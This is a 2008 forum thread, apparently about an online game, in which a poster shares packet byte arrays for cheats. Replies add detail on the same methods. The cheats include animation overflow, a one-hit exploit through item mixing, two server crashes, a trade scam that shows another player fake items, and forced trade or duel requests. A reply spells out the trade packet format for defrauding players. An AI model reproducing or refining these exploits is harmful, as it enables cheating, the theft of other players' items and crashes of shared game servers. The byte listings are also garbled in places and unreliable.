[RELEASE] Tutorial of Packet hacks.

09/05/2008 23:39 5had0w#1
Hello... this is a small Tutorial how you do some hacks with packets. that aren't all but to lazy for do the rest.

Animation Overflow. ( Int & Prv )

here i show you how to overflow the animations

example ( works only with IC'S )

PHP Code:
BYTE ani_BR[] = {0x2dplayerid};
BYTE ani_CD[] = {0x29playerid};
BYTE ani_PN[] = {0x13playerid};
BYTE ani_CD[] = {0x29playerid}; 
repeat it and you will get lights like this

[Only registered and activated users can see links. Click Here To Register...]



1hit Hack. ( Int & Prv )

see see i posted it some days ago it works on Int but not on high mobs d2 works , d3 till fl6 , emok i dunno

on psrv's it work's too you need just to make more times the procedure
PHP Code:
PRV INT,
let be equiped your weapon. !!!! [ VERY IMPORTANT ]

BYTE MIX[] = {0x62G40weapArmorWeaponmedicinemoney}; 
after succeed change ur weapon to a new clean G40 and do again
PHP Code:
BYTE MIX[] = {0x62G40weapArmorWeaponmedicinemoney}; 
just repeat this produce like 5 times ( int ) and on ( prv, like 15 times )

hf :)



Server Crashs. ( Int & Prv )

here there are 2 ways one works only for prv and other for both.
PHP Code:
PRV ONLY,
BYTE CrashPRV[] = {0x62weapon1weapon1armormedicinemoney0x80}; 
when the mix succeed then is too the server crashed.

Here is the second Server Crash

sandro wished to delete this one so EDITED...



Tradehack ( Int & Prv )

here i show you how to fake and setup real item,

example
PHP Code:
PRV INT,              (I    T    E    M)        (SLOT)
BYTE REAL[] = {0x1c0x010x200x000x000x800x010x000x000x00};
BYTE FAKE[] = {0x1c0x010x200x000x000x800x020x000x000x00}; 
First You send the real one the slot is then 0x01 (see SLOT)
then you need to send just the same packet except the slot
change it to slot2 YOU SEE IT IN THE EXAMPLE.



Forces. ( Int & Prv )

well with this one you can force into pt's , duels , trades , and student mode.
PHP Code:
PRV INT,
BYTE   AskToTrade[] = {0x230x01playerid};
BYTE   AskToParty[] = {0x2d0x01playerid};
BYTE    AskToDuel[] = {0x510x01playerid};
BYTE AskToStudent[] = {0x550x01playerid}; 
have fun.



Pimp function. ( Int & Prv )

fine fine now to the how to pimp.

COMBO VARIANT.
PHP Code:
PRV INT,
BYTE PIMP[] = {0x39poly_w0x39tali_w}; 
that was it just repeat it.

NORMAL VARIANT.
PHP Code:
PRV INT,
BYTE UseP[] = {0x39Polyweapon};
BYTE UseT[] = {0x39Taliweapon}; 
that was it just repeat it.



Storm Hack ( Prv )

here the stormhack how to. ( mage only Hermit )
PHP Code:
PRV ONLY,
BYTE STORM[] = {0x100x2bxy}; 
i dont tell you how to get coordinates maybe in other tutorial.



Rush ride =) ( Int & Prv )

ya one that i loved the rush ride :) ( knight only VAGA )
PHP Code:
AID MonsterIDPlayerIDNpcID;

BYTE RUSH[] = {0x2b0x15AID}; 
that was the Rush ride.



Send Mix. ( Int & Prv

here the packet mixing.
PHP Code:
PRV INT,
BYTE MIX[] = {0x62RealWeapArmorWeaponmedicinemoney}; 
ok that was the packet mixing....

there are many left but like i said was to lazy some missing where i was feeling that they don't need like

Perfect Reset ( reset all skills for free )
Mage client crash etc...
09/05/2008 23:41 ZeroTol#2
Yah np on letting you use my server etc. XD
09/06/2008 00:00 biology321#3
Very nice post, now i do need how to figure out the way to send m *evil laugh*
09/06/2008 00:07 zadkine#4
realy great thnks haha some i didnt know :P woohoo :P ty
09/06/2008 00:08 biology321#5
edit
09/06/2008 01:37 chibis#6
thx but useless for the most, nearly no1 here have a packet sender ( except u, bloodx and some other persons)
09/06/2008 01:39 biology321#7
chibis is right:P plz release it or give tut/hints lol
09/06/2008 01:41 chibis#8
i dont think that any1 here will post a working packet sender, so try to learn to write ur own, what sounds impossible for us "noobs"^^
09/06/2008 01:54 biology321#9
yep lol i should have had choosed for programmer instead of truck driver xD
09/06/2008 02:58 ChocoDuo#10
Nice

The trade hack I do a little differently, although I cant fully understand what you mean in your example so might be the same :)

the format of packet 0x1C is [num items to trade (1byte), [item id(4bytes), count(4bytes)], ...(list of item-count pairs)]

so, submit the first 0x1C packet containing any number of times (real packet)
[0x1c, 0x02, 0xaa, 0xaa, 0xaa, 0xaa, 0xbb, 0xbb, 0xbb, 0xbb, 0xcc, 0xcc, 0xcc, 0xcc, 0xdd, 0xdd, 0xdd, 0xdd]
a is item 1 id, b is item 1 count, c is item 2 id, d is item 2 count.

now submit the packet again, except with the first item being invalid (fake packet)
[0x1c, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xaa, 0xaa, 0xaa, 0xaa, 0xbb, 0xbb, 0xbb, 0xbb, 0xcc, 0xcc, 0xcc, 0xcc, 0xdd, 0xdd, 0xdd, 0xdd]
(i.e. the id and count of the first item are 0)

Other person sees items from first packet, but second packet invalidates the trade ^^
09/06/2008 06:40 Beitarist#11
thanks... =] though only the rush ride and crashing with mix is new to me =]
09/06/2008 09:20 SFX-Cookie#12
krasser scheiß^^
ich glaube ich muss mich ma anstrengen nen packet sender zu machen...

also leute..see ya all in 10 jahren oder so xD
09/06/2008 09:32 BenKiu#13
boooring and ooolllldddddd aaaaahhh


but if you can show this packet :

[Only registered and activated users can see links. Click Here To Register...]

i know its portable bomb , but i cant check this becouse i cant be on scenario 3-2 ...


and i think movehack its 0x15- stop and fast walk or tp. i dk it atm.
i think on globalserver its can work.
09/06/2008 10:42 5had0w#14
ofc it's old lol i did it for like 2years ROFL. but no i dont show you how i made the bombardemont :) that will be a secret :P
09/06/2008 10:45 BenKiu#15
i know how, eXteco know too. but i havent packet its like cannon on war, working on glob exteco can run it , server srash is too easy on glob without mixshits and atc , ask eXteco if you need